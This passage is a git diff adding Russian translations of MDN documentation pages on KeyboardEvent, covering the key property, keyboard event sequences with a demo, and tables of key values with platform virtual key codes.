+   <td><code>.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Аргументы функции <code>initKeyboardEvent()</code> в WebKit и в Blink отличаются от определения в документе "DOM Level 3 Events". Эта функция выглядит так: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyIdentifierArg, in number locationArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in boolean altGraphKeyArg)</code></p>
+
+<p>[2] Gecko-движок не будет поддерживать <code>initKeyboardEvent()</code>, потому что её поддержка полностью ломает определение фич вэб-приложений. Смотрите {{Bug(999645)}}.</p>
+
+<p>[3] Аргументы <code>initKeyboardEvent()</code> в IE отличаются от определения в документе "DOM Level 3 Events". Эта функция выглядит так: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyArg, in number locationArg, in DOMString modifierListArg, in boolean repeatArt, in DOMString locationArg)</code>. Смотрите <a href="http://msdn.microsoft.com/en-us/library/ie/ff975297%28v=vs.85%29.aspx">документ о <code>initKeyboardEvent()</code> на сайте MSDN</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent.code")}}.</li>
+ <li>{{domxref("KeyboardEvent.key")}}.</li>
+ <li>{{domxref("KeyboardEvent.getModifierState")}}</li>
+</ul>
diff --git a/files/ru/web/api/keyboardevent/key/index.html b/files/ru/web/api/keyboardevent/key/index.html
new file mode 100644
index 0000000000..932daf471a
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/key/index.html
@@ -0,0 +1,229 @@
+---
+title: KeyboardEvent.key
+slug: Web/API/KeyboardEvent/key
+tags:
+  - API
+  - DOM
+  - KeyboardEvent
+  - Property
+  - Read-only
+translation_of: Web/API/KeyboardEvent/key
+---
+<p>{{APIRef("События DOM")}}</p>
+
+<p><span class="seoSummary">Ключ события {{domxref("KeyboardEvent")}} <code><strong>key</strong></code> доступен только для чтения, возвращает значение клавиши, нажатой пользователем, принимая во внимание состояние клавиш-модификаторов, таких как </span><span class="seoSummary"><kbd>Shift</kbd> , а также локаль и раскладку клавиатуры.</span> Его значение определяется следующим образом:</p>
+
+<div class="moreinfo pull-aside">
+<h4 id="Key_values">Key values</h4>
+
+<p>See a full list of <a href="/docs/Web/API/KeyboardEvent/key/Key_Values">key values</a>.</p>
+</div>
+
+<ul>
+ <li>If the pressed key has a printed representation, the returned value is a non-empty Unicode character string containing the printable representation of the key.</li>
+ <li>If the pressed key is a control or special character, the returned value is one of the <a href="/docs/Web/API/KeyboardEvent/key/Key_Values">pre-defined key values</a>.</li>
+ <li>If the <code>KeyboardEvent</code> represents the press of a dead key, the key value must be "<code>Dead</code>".</li>
+ <li>Some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on Windows; instead, they trigger <code>WM_APPCOMMAND</code> events. These events get mapped to DOM keyboard events, and are listed among the "Virtual key codes" for Windows, even though they aren't actually key codes.</li>
+ <li>If the key cannot be identified, the returned value is <code>"Unidentified"</code>.</li>
+</ul>
+
+<h2 id="KeyboardEvent_sequence">KeyboardEvent sequence</h2>
+
+<p>Every <code>KeyboardEvent</code> is fired in a pre-determined sequence. For a given key press, the sequence of <code>KeyboardEvent</code>s fired is as follows assuming that {{domxref("Event.preventDefault")}} is not called:</p>
+
+<ol>
+ <li>A {{event("keydown")}} event is first fired. If the key is held down further and the key produces a character key, then the event continues to be emitted in a platform implementation dependent interval and the {{domxref("KeyboardEvent.repeat")}} read only property  is set to <code>true</code>.</li>
+ <li>If the key produces a character key that would result in a character being inserted into possibly an {{HTMLElement("input")}}, {{HTMLElement("textarea")}} or an element with {{domxref("HTMLElement.contentEditable")}} set to true, the {{event("beforeinput")}} and {{event("input")}} event types are fired in that order. Note that some other implementations may fire {{event("keypress")}} event if supported. The events will be fired repeatedly while the key is held down.</li>
+ <li>A {{event("keyup")}} event is fired once the key is released. This completes the process.</li>
+</ol>
+
+<p>In sequence 1 &amp; 3, the <code>KeyboardEvent.key</code> attribute is defined and is set appropriately to a value according to the rules defined ealier.</p>
+
+<h2 id="KeyboardEvent_sequence_example">KeyboardEvent sequence example</h2>
+
+<p>Consider the event sequence generated when we interact with the <kbd>Shift</kbd> and the <kbd>2</kbd> key using a U.S keyboard layout as compared to when we do so using a UK keyboard layout.</p>
+
+<p>Try experimenting using the following two test cases:</p>
+
+<ol>
+ <li>Press and hold the <kbd>Shift</kbd> key, then press <kbd>2</kbd> and release it. Next, release the <kbd>Shift</kbd> key.</li>
+ <li>Press and hold the <kbd>Shift</kbd> key, then press and hold <kbd>2</kbd>. Release the <kbd>Shift</kbd> key. Finally, release <kbd>2</kbd>.</li>
+</ol>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="fx"&gt;
+  &lt;div&gt;
+    &lt;textarea rows="5" name="test-target" id="test-target"&gt;&lt;/textarea&gt;
+    &lt;button type="button" name="btn-clear-console" id="btn-clear-console"&gt;clear console&lt;/button&gt;
+  &lt;/div&gt;
+  &lt;div class="flex"&gt;
+    &lt;pre id="console-log"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fx {
+  -webkit-display: flex;
+  display: flex;
+  margin-left: -20px;
+  margin-right: -20px;
+}
+
+.fx &gt; div {
+  padding-left: 20px;
+  padding-right: 20px;
+}
+
+.fx &gt; div:first-child {
+   width: 30%;
+}
+
+.flex {
+  -webkit-flex: 1;
+  flex: 1;
+}
+
+#test-target {
+  display: block;
+  width: 100%;
+  margin-bottom: 10px;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let textarea = document.getElementById('test-target'),
+consoleLog = document.getElementById('console-log'),
+btnClearConsole = document.getElementById('btn-clear-console');
+
+function logMessage(message) {
+  document.getElementById("console-log").innerHTML += message + "&lt;br&gt;";
+}
+
+textarea.addEventListener('keydown', (e) =&gt; {
+  if (!e.repeat)
+    logMessage(`Key "${e.key}" pressed  [event: keydown]`);
+  else
+    logMessage(`Key "${e.key}" repeating  [event: keydown]`);
+});
+
+textarea.addEventListener('beforeinput', (e) =&gt; {
+  logMessage(`Key "${e.data}" about to be input  [event: beforeinput]`);
+});
+
+textarea.addEventListener('input', (e) =&gt; {
+  logMessage(`Key "${e.data}" input  [event: input]`);
+});
+
+textarea.addEventListener('keyup', (e) =&gt; {
+  logMessage(`Key "${e.key}" released  [event: keyup]`);
+});
+
+btnClearConsole.addEventListener('click', (e) =&gt; {
+  let child = consoleLog.firstChild;
+  while (child) {
+   consoleLog.removeChild(child);
+   child = consoleLog.firstChild;
+  }
+});</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('KeyboardEvent_sequence_example')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> On browsers that don't fully implement the {{domxref("InputEvent")}} interface which is used for the {{event("beforeinput")}} and {{event("input")}} events, you may get incorrect output on those lines of the log output.</p>
+</div>
+
+<h3 id="Case_1">Case 1</h3>
+
+<p>When the shift key is pressed, a {{event("keydown")}} event is first fired, and the <code>key</code> property value is set to the string <code>"Shift"</code>. As we keep holding this key, the {{event("keydown")}} event does not continue to fire repeatedly because it does not produce a character key.</p>
+
+<p>When <code>key 2</code> is pressed, another {{event("keydown")}} event is fired for this new key press, and the <code>key</code> property value for the event is set to the string <code>"@"</code> for the U.S keyboard type and <code>"""</code> for the UK keyboard type, because of the active modifier <code>shift</code> key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced.</p>
+
+<p>As we release the <code>key 2</code>, a {{event("keyup")}} event is fired and the <code>key</code> property will maintain the string values <code>"@"</code> and <code>"""</code> for the different keyboard layouts respectively.</p>
+
+<p>As we finally release the <code>shift</code> key, another {{event("keyup")}} event is fired for it, and the key attribute value remains <code>"Shift"</code>.</p>
+
+<h3 id="Case_2">Case 2</h3>
+
+<p>When the shift key is pressed, a {{event("keydown")}} event is first fired, and the <code>key</code> property value is set to be the string <code>"Shift"</code>. As we keep holding this key, the keydown event does not continue to fire repeatedly because it produced no character key.</p>
+
+<p>When <code>key 2</code> is pressed, another {{event("keydown")}} event is fired for this new key press, and the <code>key</code> property value for the event is set to be the string <code>"@"</code> for the U.S keyboard type and <code>"""</code> for the UK keyboard type, because of the active modifier <code>shift</code> key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced. As we keep holding the key, the {{event("keydown")}} event continues to fire repeatedly and the {{domxref("KeyboardEvent.repeat")}}  property is set to <code>true</code>. The {{event("beforeinput")}} and {{event("input")}} events are fired repeatedly as well.</p>
+
+<p>As we release the <code>shift</code> key, a {{event("keyup")}} event is fired for it, and the key attribute value remains <code>"Shift"</code>. At this point, notice that the <code>key</code> property value for the repeating keydown event of the <code>key 2</code> key press is now "2" because the modifier <code>shift</code> key is no longer active. The same goes for the {{domxref("InputEvent.data")}} property of the {{event("beforeinput")}} and {{event("input")}} events.</p>
+
+<p>As we finally release the <code>key 2</code>, a {{event("keyup")}} event is fired but the <code>key</code> property will be set to the string value <code>"2"</code> for both keyboard layouts because the modifier <code>shift</code> key is no longer active.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>This example uses {{domxref("EventTarget.addEventListener()")}} to listen for {{event("keydown")}} events. When they occur,  the key's value is checked to see if it's one of the keys the code is interested in, and if it is, it gets processed in some way (possibly by steering a spacecraft, perhaps by changing the selected cell in a spreadsheet).</p>
+
+<pre class="brush: js">window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // Do nothing if the event was already processed
+  }
+
+  switch (event.key) {
+    case "Down": // IE/Edge specific value
+    case "ArrowDown":
+      // Do something for "down arrow" key press.
+      break;
+    case "Up": // IE/Edge specific value
+    case "ArrowUp":
+      // Do something for "up arrow" key press.
+      break;
+    case "Left": // IE/Edge specific value
+    case "ArrowLeft":
+      // Do something for "left arrow" key press.
+      break;
+    case "Right": // IE/Edge specific value
+    case "ArrowRight":
+      // Do something for "right arrow" key press.
+      break;
+    case "Enter":
+      // Do something for "enter" or "return" key press.
+      break;
+    case "Esc": // IE/Edge specific value
+    case "Escape":
+      // Do something for "esc" key press.
+      break;
+    default:
+      return; // Quit when this doesn't handle the key event.
+  }
+
+  // Cancel the default action to avoid it being handled twice
+  event.preventDefault();
+}, true);
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#widl-KeyboardEvent-key', 'KeyboardEvent.key')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition, included key values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#dom-keyboardevent-key', 'KeyboardEvent.key')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.key")}}</p>
diff --git a/files/ru/web/api/keyboardevent/key/key_values/index.html b/files/ru/web/api/keyboardevent/key/key_values/index.html
new file mode 100644
index 0000000000..39e2b6c133
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/key/key_values/index.html
@@ -0,0 +1,3665 @@
+---
+title: Значения клавиш
+slug: Web/API/KeyboardEvent/key/Key_Values
+translation_of: Web/API/KeyboardEvent/key/Key_Values
+---
+<p>В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этота клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространенных платформ включены там, где они доступны.</p>
+
+<div class="pull-aside">
+<div class="moreinfo">Узнайте, как использовать эти пары "ключ-значение" в JavaScript с помощью <a href="/docs/Web/API/KeyboardEvent/key">KeyboardEvent.key</a></div>
+</div>
+
+<p><a href="#Special_values">Special Values </a>| <a href="#Modifier_keys">Modifier Keys</a> | <a href="#Whitespace_keys">Whitespace Keys</a> | <a href="#Navigation_keys">Navigation Keys</a> | <a href="#Editing_keys">Editing Keys</a> | <a href="#UI_keys">UI Keys</a> | <a href="#Device_keys">Device Keys</a> | <a href="#IME_and_composition_keys">IME and Composition Keys</a> | <a href="#Function_keys">Function Keys</a> | <a href="#Phone_keys">Phone Keys</a> | <a href="#Multimedia_keys">Multimedia Keys</a> | <a href="#Audio_control_keys">Audio Control Keys</a> | <a href="#TV_control_keys">TV Control Keys</a> | <a href="#Media_controller_keys">Media Controller Keys</a> | <a href="#Speech_recognition_keys">Speech Recognition Keys</a> | <a href="#Document_keys">Document Keys</a> | <a href="#Application_selector_keys">Application Selector Keys</a> | <a href="#Browser_control_keys">Browser Control Keys</a> | <a href="#Numeric_keypad_keys">Numeric Keypad Keys</a></p>
+
+<h2 id="Специальные_значения">Специальные значения</h2>
+
+<p>Значения клавиш имеющих особое значение, кроме идентификации определенной клавиши или символа.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Unidentified"</code></td>
+   <td>
+    <p>Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определенным значением клавиши.</p>
+
+    <p>Это может произойти из-за аппаратных или программных ограничений или из-за ограничений платформы, на которой работает пользовательский агент.</p>
+   </td>
+   <td><em>разное</em></td>
+   <td><em>разное</em></td>
+   <td><em>разное</em></td>
+   <td><em>разное</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Клавиши-модификаторы">Клавиши-модификаторы</h2>
+
+<p>Специальные клавиши-модификаторы, которые используются для генерации специальных символов или вызывают особые действия при использовании в сочетании с другими клавишами. Например:  <kbd>Shift</kbd> и <kbd>Control</kbd> , или lock-клавиши, такие как <kbd>Caps Lock</kbd> и <kbd>NumLock</kbd>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Alt"</code> [5]</td>
+   <td><kbd><font face="Arial, x-locale-body, sans-serif"><span style="background-color: rgba(212, 221, 228, 0.25); font-size: 16px; font-weight: 400; white-space: normal;">Клавиша </span></font>Alt</kbd> (Alternative) .</td>
+   <td><code>VK_MENU</code> (0x12)<br>
+    <code>VK_LMENU</code> (0xA4)<br>
+    <code>VK_RMENU</code> (0xA5)</td>
+   <td><code>kVK_Option</code> (0x3A)<br>
+    <code>kVK_RightOption</code> (0x3D)</td>
+   <td><code>GDK_KEY_Alt_L</code> (0xFFE9)<br>
+    <code>GDK_KEY_Alt_R</code> (0xFFEA)<br>
+    <code>Qt::Key_Alt</code> (0x01000023)</td>
+   <td><code>KEYCODE_ALT_LEFT</code> (57)<br>
+    <code>KEYCODE_ALT_RIGHT</code> (58)</td>
+  </tr>
+  <tr>
+   <td><code>"AltGraph"</code> [5]</td>
+   <td>Клавиша<kbd>AltGr</kbd> или <kbd>AltGraph</kbd> (Альтернативная графика). Enables the ISO Level 3 shift modifier (where <kbd>Shift</kbd> is the level 2 modifier).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Mode_switch</code> (0xFF7E)<br>
+    <code>GDK_KEY_ISO_Level3_Shift</code> (0xFE03)<br>
+    <code>GDK_KEY_ISO_Level3_Latch</code> (0xFE04)<br>
+    <code>GDK_KEY_ISO_Level3_Lock</code> (0xFE05)<br>
+    <code>GDK_KEY_ISO_Level5_Shift</code> (0xFE11)<br>
+    <code>GDK_KEY_ISO_Level5_Latch</code> (0xFE12)<br>
+    <code>GDK_KEY_ISO_Level5_Lock</code> (0xFE13)<br>
+    <code>Qt::Key_AltGr</code> (0x01001103<br>
+    <code>Qt::Key_Mode_switch</code> (0x0100117E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CapsLock"</code></td>
+   <td>Клавиша <kbd>Caps Lock</kbd> . Включает и выключает блокировку заглавных букв для последующего ввода.</td>
+   <td><code>VK_CAPITAL</code> (0x14)</td>
+   <td><code>kVK_CapsLock</code> (0x39)</td>
+   <td><code>GDK_KEY_Caps_Lock</code> (0xFFE5)<br>
+    <code>Qt::Key_CapsLock</code> (0x01000024)</td>
+   <td><code>KEYCODE_CAPS_LOCK</code> (115)</td>
+  </tr>
+  <tr>
+   <td><code>"Control"</code></td>
+   <td>Клавиша <kbd>Control</kbd>, <kbd>Ctrl</kbd>, или <kbd>Ctl</kbd> . Позволяет вводить управляющие символы.</td>
+   <td><code>VK_CONTROL</code> (0x11)<br>
+    <code>VK_LCONTROL</code> (0xA2)<br>
+    <code>VK_RCONTROL</code> (0xA3)</td>
+   <td><code>kVK_Control</code> (0x3B)<br>
+    <code>kVK_RightControl</code> (0x3E)</td>
+   <td><code>GDK_KEY_Control_L</code> (0xFFE3)<br>
+    <code>GDK_KEY_Control_R</code> (0xFFE4)<br>
+    <code>Qt::Key_Control</code> (0x01000021)</td>
+   <td><code>KEYCODE_CTRL_LEFT</code> (113)<br>
+    <code>KEYCODE_CTRL_RIGHT</code> (114)</td>
+  </tr>
+  <tr>
+   <td><code>"Fn"</code></td>
+   <td> <kbd>Fn</kbd> (Function modifier) key. Используется для создания функциональной клавиши (<kbd>F1</kbd>–<kbd>F15</kbd>, например) символы на клавиатуре без выделенной области функциональных клавиш.Часто обрабатывается аппаратно, поэтому для этой клавиши не создаются события.</td>
+   <td></td>
+   <td><code>kVK_Function</code> (0x3F)</td>
+   <td></td>
+   <td><code>KEYCODE_FUNCTION</code> (119)</td>
+  </tr>
+  <tr>
+   <td><code>"FnLock"</code></td>
+   <td>Клавиша <kbd>FnLock</kbd> или <kbd>F-Lock</kbd> (Function Lock) .Переключает режим функциональных клавиш, описанный<code>"Fn"</code> вкл. и выкл. Часто обрабатывается аппаратно, поэтому для этой клавиши не создаются события.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Hyper"</code> [4]</td>
+   <td>Клавиша <kbd>Hyper</kbd> .</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hyper_L</code> (0xFFED)<br>
+    <code>GDK_KEY_Hyper_R</code> (0xFFEE)<br>
+    <code>Qt::Key_Hyper_L</code> (0x01000056)<br>
+    <code>Qt::Key_Hyper_R</code> (0x01000057)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Meta"</code> [1]</td>
+   <td>Клавиша <kbd>Meta</kbd> . Позволяет вводить специальные команды. Это клавиши с лого <kbd>Windows</kbd> , или<kbd>Command</kbd> или <kbd>⌘</kbd> на клавиатуре Mac .</td>
+   <td><code>VK_LWIN</code> (0x5B)<br>
+    <code>VK_RWIN</code> (0x5C)</td>
+   <td><code>kVK_Command</code> (0x37)<br>
+    <code>kVK_RightCommand</code> (0x36)</td>
+   <td><code>GDK_KEY_Meta_L</code> (0xFFE7)<br>
+    <code>GDK_KEY_Meta_R</code> (0xFFE8)<br>
+    <code>Qt::Key_Meta</code> (0x01000022)</td>
+   <td><code>KEYCODE_META_LEFT</code> (117)<br>
+    <code>KEYCODE_META_RIGHT</code> (118)</td>
+  </tr>
+  <tr>
+   <td><code>"NumLock"</code></td>
+   <td>Клавиша <kbd>NumLock</kbd> (Number Lock). Переключает цифровую клавиатуру между вводом номера и другим режимом (часто стрелки направления).</td>
+   <td><code>VK_NUMLOCK</code> (0x90)</td>
+   <td></td>
+   <td><code>GDK_KEY_Num_Lock</code> (0xFF7F)<br>
+    <code>Qt::Key_NumLock</code> (0x01000025)</td>
+   <td><code>KEYCODE_NUM_LOCK</code> (143)</td>
+  </tr>
+  <tr>
+   <td><code>"ScrollLock"</code> [2]</td>
+   <td>Клавиша<kbd>Scroll Lock</kbd> Перекключает между режимами прокрутки и перемещения курсора.</td>
+   <td><code>VK_SCROLL</code> (0x91)</td>
+   <td></td>
+   <td><code>GDK_KEY_Scroll_Lock</code> (0xFF14)<br>
+    <code>Qt::Key_ScrollLock</code> (0x01000026)</td>
+   <td><code>KEYCODE_SCROLL_LOCK</code> (116)</td>
+  </tr>
+  <tr>
+   <td><code>"Shift"</code></td>
+   <td>Клавиша <kbd>Shift</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">Изменяет нажатия клавиш, чтобы разрешить ввод букв в верхнем (или другом) регистре, а также для поддержки ввода знаков препинания и других специальных символов.</span></span></td>
+   <td><code>VK_SHIFT</code> (0x10)<br>
+    <code>VK_LSHIFT</code> (0xA0)<br>
+    <code>VK_RSHIFT</code> (0xA1)</td>
+   <td><code>kVK_Shift</code> (0x38)<br>
+    <code>kVK_RightShift</code> (0x3C)</td>
+   <td><code>GDK_KEY_Shift_L</code> (0xFFE1)<br>
+    <code>GDK_KEY_Shift_R</code> (0xFFE2)<br>
+    <code>Qt::Key_Shift</code> (0x01000020)</td>
+   <td><code>KEYCODE_SHIFT_LEFT</code> (59)<br>
+    <code>KEYCODE_SHIFT_RIGHT</code> (60)</td>
+  </tr>
+  <tr>
+   <td><code>"Super"</code> [4]</td>
+   <td>Клавиша <kbd>Super</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Super_L</code> (0xFFEB)<br>
+    <code>GDK_KEY_Super_R</code> (0xFFEC)<br>
+    <code>Qt::Key_Super_L</code> (0x01000053)<br>
+    <code>Qt::Key_Super_R</code> (0x01000054)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Symbol"</code></td>
+   <td>Клавиша-модификатор <kbd>Symbol</kbd> <span class="tlid-translation translation" lang="ru"><span title="">(есть на некоторых виртуальных клавиатурах).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_SYM</code> (63) [3]</td>
+  </tr>
+  <tr>
+   <td><code>"SymbolLock"</code></td>
+   <td>Клавиша <kbd>Symbol Lock</kbd></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] В Internet Explorer (проверено на релизах 9 и 11), а также во всех версиях Firefox, клавиша <kbd>Windows</kbd> сообщается как <code>"OS"</code> а не <code>"Meta"</code>. Это будет изменено в Firefox в {{bug(1232918)}}. Пока это не будет исправлено, эти ключи возвращаются как <code>"OS"</code> в Firefox: <code>VK_LWIN</code> (0x5B) и <code>VK_RWIN</code> (0x5C) в Windows, и <code><code>GDK_KEY_Super_L</code> (0xFFEB)</code>, <code><code>GDK_KEY_Super_R</code> (0xFFEC)</code>, <code><code>GDK_KEY_Hyper_L</code> (0xFFED)</code>, и <code><code>GDK_KEY_Hyper_R</code> (0xFFEE)</code> в Linux.</p>
+
+<p>[2] Internet Explorer (проверено на релизах 9 и 11) сообщает <code>"Scroll"</code> вместо<code> "ScrollLock"</code> для клавиши <kbd>Scroll Lock</kbd>.</p>
+
+<p>[3] Firefox не поддерживает клавишу <kbd>Symbol</kbd> до версии Firefox 37.</p>
+
+<p>[4] <span class="tlid-translation translation" lang="ru"><span title="">Firefox генерирует значение ключа</span></span> <code>"OS</code>" для клавиш <kbd>Super</kbd> и <kbd>Hyper</kbd> вместо <code>"Super"</code> и <code>"Hyper"</code>.</p>
+
+<p>[5] Chrome 67 и Firefox 63 <span class="tlid-translation translation" lang="ru"><span title="">теперь правильно интерпретируют правую клавишу</span></span> <kbd>Alt</kbd> <span class="tlid-translation translation" lang="ru"><span title="">для раскладок клавиатуры, которые сопоставляют эту клавишу с</span></span> <kbd>AltGr</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">См. Дополнительные сведения об ошибке</span></span> {{bug(900750)}} и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=25503">Chrome bug 25503</a> для подробных деталей.</p>
+
+<h2 id="Пробельные_клавиши">Пробельные клавиши</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Enter"</code></td>
+   <td>Клавиша <kbd>Enter</kbd> или<kbd>↵</kbd> (иногда помечается как <kbd>Return</kbd>).</td>
+   <td><code>VK_RETURN</code> (0x0D)</td>
+   <td><code>kVK_Return</code> (0x24)<br>
+    <code>kVK_ANSI_KeypadEnter</code> (0x4C)<br>
+    <code>kVK_Powerbook_KeypadEnter</code> (0x34)</td>
+   <td><code><code>GDK_KEY_Return</code> (0xFF0D)</code><br>
+    <code><code>GDK_KEY_KP_Enter</code> (0xFF8D)</code><br>
+    <code><code>GDK_KEY_ISO_Enter</code> (0xFE34)</code><br>
+    <code><code>GDK_KEY_3270_Enter</code> (0xFD1E)</code><br>
+    <code>Qt::Key_Return</code> (0x01000004)<br>
+    <code>Qt::Key_Enter</code> (0x01000005)</td>
+   <td><code>KEYCODE_ENTER</code> (66)<br>
+    <code>KEYCODE_NUMPAD_ENTER</code> (160)<br>
+    <code>KEYCODE_DPAD_CENTER</code> (23)</td>
+  </tr>
+  <tr>
+   <td><code>"Tab"</code></td>
+   <td>Горизонтальная табуляция, <kbd>Tab</kbd>.</td>
+   <td><code>VK_TAB</code> (0x09)</td>
+   <td><code>kVK_Tab</code> (0x30)</td>
+   <td><code><code>GDK_KEY_Tab</code> (0xFF09)</code><br>
+    <code><code>GDK_KEY_KP_Tab</code> (0xFF89)<br>
+    GDK_KEY_ISO_Left_Tab</code> (0xFE20)<br>
+    <code>Qt::Key_Tab</code> (0x01000001)</td>
+   <td><code>KEYCODE_TAB</code> (61)</td>
+  </tr>
+  <tr>
+   <td><code>" "</code> [1]</td>
+   <td>Пробел, <kbd>Space Bar</kbd>.</td>
+   <td><code>VK_SPACE</code> (0x20)</td>
+   <td><code>kVK_Space</code> (0x31)</td>
+   <td>
+    <p><code>GDK_KEY_space</code> (0x20)<br>
+     <code>GDK_KEY_KP_Space</code> (0xFF80)<br>
+     <code>Qt::Key_Space</code> (0x20)</p>
+   </td>
+   <td><code>KEYCODE_SPACE</code> (62)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Старые браузеры могут вернуть <code>"Spacebar"</code> вместо <code>" "</code> для клавиши <kbd>Space Bar</kbd> . Firefox делал это до версии 37, как в Internet Explorer 9, 10, и 11.</p>
+
+<h2 id="Навигационные_клавиши">Навигационные клавиши</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"ArrowDown"</code> [1]</td>
+   <td>Клавиша со стрелкой "вниз".</td>
+   <td><code>VK_DOWN</code> (0x28)</td>
+   <td><code>kVK_DownArrow</code> (0x7D)</td>
+   <td><code>GDK_KEY_Down</code> (0xFF54)<br>
